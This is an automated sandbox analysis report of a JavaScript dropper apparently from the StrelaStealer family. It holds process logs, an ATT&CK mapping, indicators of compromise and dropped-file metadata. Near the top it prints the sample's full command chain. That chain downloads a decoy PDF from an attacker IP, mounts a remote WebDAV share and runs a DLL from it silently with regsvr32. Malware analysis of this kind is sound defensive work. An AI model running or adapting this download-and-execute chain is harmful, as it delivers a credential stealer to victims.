Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
4483138622176223122.js	8%	Virustotal		Browse
4483138622176223122.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/q1g	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/tce1	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/9	net.exe, 00000007.00000002.2117029270.000001DA71DC8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3332332466.0000026066683000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2118336819.00000260663D0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.2116437713.000001DA71E0A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2117029270.000001DA71DC8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2115180314.000001DA71E1C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2117194696.000001DA71E0A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/q1g	net.exe, 00000007.00000003.2116437713.000001DA71E0A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2117194696.000001DA71E0A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/tce1	net.exe, 00000007.00000002.2117029270.000001DA71DC8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588974
Start date and time:	2025-01-11 07:51:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	4483138622176223122.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 50.16.47.176, 18.213.11.84, 54.224.241.105, 34.237.241.83, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 2.16.168.105, 2.16.168.107, 2.22.242.11, 2.22.242.123, 20.12.23.50, 13.107.246.45, 104.77.220.172
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:52:00	API Interceptor	20x Sleep call for process: powershell.exe modified
01:52:04	API Interceptor	1x Sleep call for process: net.exe modified
01:52:04	API Interceptor	2x Sleep call for process: svchost.exe modified
01:52:17	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	326794322661816170.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2948124376300195806.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1264213928938610773.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	244188544238313090.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1534283901292319457.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23742400475728052.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19292830865508482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	91263130946456752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	369248682699819312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	30011267761667014058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	326794322661816170.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2948124376300195806.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1264213928938610773.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	244188544238313090.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1534283901292319457.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	820716203646129861.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23742400475728052.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19292830865508482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	91263130946456752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1418132746179806359.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307116793475167
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDug/:gJjJGtpTq2yv1AuNZRY3diu8iBVqFh
MD5:	D1080091ECC6477096BFC6140197B786
SHA1:	2AF6DA45BF7CDD75B723E4D90D62D2504BB51E96
SHA-256:	C7F5FD054FA93A145C67BE0E274D85346383773AF282582690D01317DDA28433
SHA-512:	7864C39D9A3DCFF3FD3A44B8DEBE62C14B6CE45FEE36DAA1F4105AC989324BD1E2DCA8DC52B77E6C94C217526EE5E6C02A0C0453357A37B9224EC516AC667441
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x5893bf85, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585583981813665
Encrypted:	false
SSDEEP:	1536:BSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Baza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	B6773E3DC7F55BA25B669DB77145F1D6
SHA1:	3BA403D9B4EBCFB52304E0109833B039A2A3861D
SHA-256:	6A114680E86FE55D33019A6EE5A00821BD739FE2C536038DE9C47AB61C11FCC0
SHA-512:	AEE282257459967AEF5712016173DE48E82358B4360DB1710CA49486D2C7CED6557C8D8D1FAAAE23CB2BD21B94345A9CFF12B30E69396A0831E9301870EEC2D5
Malicious:	false
Preview:	X...... ...............X\...;...{......................0.z..........{...4...}s.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................Th...4...}....................W..4...}s..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08074009788569572
Encrypted:	false
SSDEEP:	3:UJKYeW9CuEkGuAJkhvekl1mYHIql/lallrekGltll/SPj:UJKzBGrxlttAJe3l
MD5:	32CD72564E64E956AE58A0FDE6B6009D
SHA1:	75922E5A27AF66AB12B28696757CBA3F6A59038F
SHA-256:	96138BAA84DE83926D6391C3E44DE5A96604C88EC4811DB61C6F78B107302586
SHA-512:	3BF5CA9A0C7E162EE1DCCE36465E02A74FE50B12C45F8E5FB63E303F8F17F9A7ABB111689C60C8F377DD50AC296239CD5064D7F43DC00E3BF7E842E5EAC2D9B3
Malicious:	false
Preview:	.}e.....................................;...{...4...}s......{...............{.......{...XL......{....................W..4...}s.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.096502315443687
Encrypted:	false
SSDEEP:	6:iOnMVq2P92nKuAl9OmbnIFUtF6gZmwr6IkwO92nKuAl9OmbjLJ:7nMVv4HAahFUtF6g/r6I5LHAaSJ
MD5:	C0944094C3A24BD1277A355424917778
SHA1:	44ED9079049CFCD4ACA6C92D8B134BCA597C3743
SHA-256:	5B9558592E056EA86ECADC90977BCAD7ADB8A2C48EC8A2A4FDBD9F207BA8C293
SHA-512:	3773555B1A996D486D315184D24E86AC6C6CE11329C43B34242425CA1104D4C6A3175793F43A1BDF1B473DAB001C9A1503C14C70A449D193EAEC5701A247A89D
Malicious:	false
Preview:	2025/01/11-01:52:04.432 12e0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:52:04.434 12e0 Recovering log #3.2025/01/11-01:52:04.434 12e0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.096502315443687
Encrypted:	false
SSDEEP:	6:iOnMVq2P92nKuAl9OmbnIFUtF6gZmwr6IkwO92nKuAl9OmbjLJ:7nMVv4HAahFUtF6g/r6I5LHAaSJ
MD5:	C0944094C3A24BD1277A355424917778
SHA1:	44ED9079049CFCD4ACA6C92D8B134BCA597C3743
SHA-256:	5B9558592E056EA86ECADC90977BCAD7ADB8A2C48EC8A2A4FDBD9F207BA8C293
SHA-512:	3773555B1A996D486D315184D24E86AC6C6CE11329C43B34242425CA1104D4C6A3175793F43A1BDF1B473DAB001C9A1503C14C70A449D193EAEC5701A247A89D
Malicious:	false
Preview:	2025/01/11-01:52:04.432 12e0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:52:04.434 12e0 Recovering log #3.2025/01/11-01:52:04.434 12e0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.156653371570446
Encrypted:	false
SSDEEP:	6:iOnpHN+q2P92nKuAl9Ombzo2jMGIFUtFqkZmwraNVkwO92nKuAl9Ombzo2jMmLJ:7npov4HAa8uFUtFF/raz5LHAa8RJ
MD5:	6433A4A7D9E680A6507B1199776E04EC
SHA1:	0F7A41AAC5D53DFC449223ECD0431034E5E947EE
SHA-256:	A170149D8B6A50932ADA8B666B45BC4606078D945A1C5E8690874038C2900B78
SHA-512:	9B1D1F5244EC5EF6446488A4AC57D086FE00CF8C0866E9FCF4B655DAAEF522CC870BE621842BA9274AAEE747D5088432112DF58FDE186B1C1EB3148AFC87FF91
Malicious:	false
Preview:	2025/01/11-01:52:04.536 1c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:52:04.538 1c58 Recovering log #3.2025/01/11-01:52:04.539 1c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.156653371570446
Encrypted:	false
SSDEEP:	6:iOnpHN+q2P92nKuAl9Ombzo2jMGIFUtFqkZmwraNVkwO92nKuAl9Ombzo2jMmLJ:7npov4HAa8uFUtFF/raz5LHAa8RJ
MD5:	6433A4A7D9E680A6507B1199776E04EC
SHA1:	0F7A41AAC5D53DFC449223ECD0431034E5E947EE
SHA-256:	A170149D8B6A50932ADA8B666B45BC4606078D945A1C5E8690874038C2900B78
SHA-512:	9B1D1F5244EC5EF6446488A4AC57D086FE00CF8C0866E9FCF4B655DAAEF522CC870BE621842BA9274AAEE747D5088432112DF58FDE186B1C1EB3148AFC87FF91
Malicious:	false
Preview:	2025/01/11-01:52:04.536 1c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:52:04.538 1c58 Recovering log #3.2025/01/11-01:52:04.539 1c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\5787054b-63fc-4f78-b1ec-bdfb72fe7deb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.02336554175358
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqrcosBdOg2HoYZcaq3QYiubxnP7E4T3OF+:Y2sRdsiCdMH+3QYhbxP7nbI+
MD5:	31DD8E04E31958925657F439DC1AB4BA
SHA1:	A7E46B8F60EB252641BC5C6183419973FF1B6A9A
SHA-256:	779019B85D52A2BF0408700D6300022141C117372664478E3D99275877378538
SHA-512:	F353344A590C7C8C59CCD510FE28F48EB277230EBED1ACF3A4D441BC3CC7966F3EF2F00F4A09E32EC7301AB891618FDDD7D2642678D544FD8AAE3E561AAFC22D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381138336982888","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":121838},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.02336554175358
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqrcosBdOg2HoYZcaq3QYiubxnP7E4T3OF+:Y2sRdsiCdMH+3QYhbxP7nbI+
MD5:	31DD8E04E31958925657F439DC1AB4BA
SHA1:	A7E46B8F60EB252641BC5C6183419973FF1B6A9A
SHA-256:	779019B85D52A2BF0408700D6300022141C117372664478E3D99275877378538
SHA-512:	F353344A590C7C8C59CCD510FE28F48EB277230EBED1ACF3A4D441BC3CC7966F3EF2F00F4A09E32EC7301AB891618FDDD7D2642678D544FD8AAE3E561AAFC22D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381138336982888","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":121838},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.236171980862109
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUfVPiJJbt:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLH
MD5:	4F8B734E90300712A7809A8B0A47CF44
SHA1:	B751E0B882E8B8DFF4DBAC0A07AD5EE1CBA7D89D
SHA-256:	23C38952D17A7530DFFD36554064718E892524864419A11D6E538A9FD991BD30
SHA-512:	CD3398E4E87A9C33A7C4A12E345677AEF15326C232A26D72A9CD1537AECC9E982257B01E8C6F589ACDDB79EA5DAE897C1F7C668739BBF8E2E4AF84EBF2B9D525
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.151891643109944
Encrypted:	false
SSDEEP:	6:iOnp+q2P92nKuAl9OmbzNMxIFUtFjfkZmwrjfEVkwO92nKuAl9OmbzNMFLJ:7nkv4HAa8jFUtFjfk/rjfE5LHAa84J
MD5:	24D363DAF677EB2BBFC1AE1D0D0D6283
SHA1:	7DBFF05D64223DCC82A7685B444366040D80561D
SHA-256:	FE3AE8517757FF0ABDF877E1F8C475EFBC24FD2ED37EC2E07297DA1D8A1C7DDB
SHA-512:	57BA4A60062BBF3ED9C16C7A89EBA0AA21FF2EDEEAC6EFB9250F9A147FBB58400721A4976C1CF96FDB32C1142ACC715BC8D0799DCFEEB876E50BA235373A2459
Malicious:	false
Preview:	2025/01/11-01:52:04.620 1c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:52:04.623 1c58 Recovering log #3.2025/01/11-01:52:04.623 1c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.151891643109944
Encrypted:	false
SSDEEP:	6:iOnp+q2P92nKuAl9OmbzNMxIFUtFjfkZmwrjfEVkwO92nKuAl9OmbzNMFLJ:7nkv4HAa8jFUtFjfk/rjfE5LHAa84J
MD5:	24D363DAF677EB2BBFC1AE1D0D0D6283
SHA1:	7DBFF05D64223DCC82A7685B444366040D80561D
SHA-256:	FE3AE8517757FF0ABDF877E1F8C475EFBC24FD2ED37EC2E07297DA1D8A1C7DDB
SHA-512:	57BA4A60062BBF3ED9C16C7A89EBA0AA21FF2EDEEAC6EFB9250F9A147FBB58400721A4976C1CF96FDB32C1142ACC715BC8D0799DCFEEB876E50BA235373A2459
Malicious:	false
Preview:	2025/01/11-01:52:04.620 1c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:52:04.623 1c58 Recovering log #3.2025/01/11-01:52:04.623 1c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkl8HfVltfllXlE/HT8khVhvNNX8RolJuRdxLlGB9lQRYwpDdt:kKl3eT8oDVNMa8RdWBwRd
MD5:	58BFD436C5B26930B23370C119F4522A
SHA1:	BFDC2790964C9E6384F01E3BD2BDF8980092BFFA
SHA-256:	AC28BCB0A57503C3A260B987F2C81EAC879D8FA24E165AA8BD3A82941DAAF5DD
SHA-512:	D470F1B3027BE7E9638F0D68EFB425C1AE88C9B4EB06C3ED1886E64D16585158C5F37C335AEB9BEEF77D1C0CF5134396B951178001DFBABEA3A7DE8813FFE749
Malicious:	false
Preview:	p...... .........[Z.c..(....................................................... ..........W.....R..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
